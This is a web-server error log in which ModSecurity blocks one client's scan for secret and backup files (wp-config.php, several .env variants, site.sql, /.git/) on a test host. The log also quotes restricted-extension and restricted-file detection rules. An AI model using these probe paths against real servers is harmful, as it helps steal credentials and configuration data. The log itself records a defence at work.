[hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/site.sql&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QByAAAAAI&quot;]
[Sun Mar 22 01:06:28.223560 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/site.sql&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QByAAAAAI&quot;]
[Sun Mar 22 01:06:28.223707 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/site.sql&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QByAAAAAI&quot;]
[Sun Mar 22 01:06:28.245784 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /site/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/wp-config.php&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QByQAAAAI&quot;]
[Sun Mar 22 01:06:28.245970 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/wp-config.php&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QByQAAAAI&quot;]
[Sun Mar 22 01:06:28.246096 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/wp-config.php&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QByQAAAAI&quot;]
[Sun Mar 22 01:06:28.267858 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/wp-config.php.old&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QBygAAAAI&quot;]
[Sun Mar 22 01:06:28.268085 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /site/wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/wp-config.php.old&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QBygAAAAI&quot;]
[Sun Mar 22 01:06:28.268273 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/wp-config.php.old&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QBygAAAAI&quot;]
[Sun Mar 22 01:06:28.268393 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/wp-config.php.old&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QBygAAAAI&quot;]
[Sun Mar 22 01:06:28.516197 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB1QAAAAI&quot;]
[Sun Mar 22 01:06:28.516451 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB1QAAAAI&quot;]
[Sun Mar 22 01:06:28.516593 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB1QAAAAI&quot;]
[Sun Mar 22 01:06:28.538418 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB1gAAAAI&quot;]
[Sun Mar 22 01:06:28.538656 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB1gAAAAI&quot;]
[Sun Mar 22 01:06:28.538841 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB1gAAAAI&quot;]
[Sun Mar 22 01:06:28.538974 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB1gAAAAI&quot;]
[Sun Mar 22 01:06:28.561259 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.local&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB1wAAAAI&quot;]
[Sun Mar 22 01:06:28.561455 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.local&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB1wAAAAI&quot;]
[Sun Mar 22 01:06:28.561590 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.local&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB1wAAAAI&quot;]
[Sun Mar 22 01:06:28.583385 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB2AAAAAI&quot;]
[Sun Mar 22 01:06:28.583615 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB2AAAAAI&quot;]
[Sun Mar 22 01:06:28.583797 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB2AAAAAI&quot;]
[Sun Mar 22 01:06:28.583933 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB2AAAAAI&quot;]
[Sun Mar 22 01:06:28.605928 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB2QAAAAI&quot;]
[Sun Mar 22 01:06:28.606124 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB2QAAAAI&quot;]
[Sun Mar 22 01:06:28.606253 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB2QAAAAI&quot;]
[Sun Mar 22 01:06:28.628195 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env~&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB2gAAAAI&quot;]
[Sun Mar 22 01:06:28.628401 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env~&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB2gAAAAI&quot;]
[Sun Mar 22 01:06:28.628546 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env~&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB2gAAAAI&quot;]
[Sun Mar 22 01:06:28.650599 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB2wAAAAI&quot;]
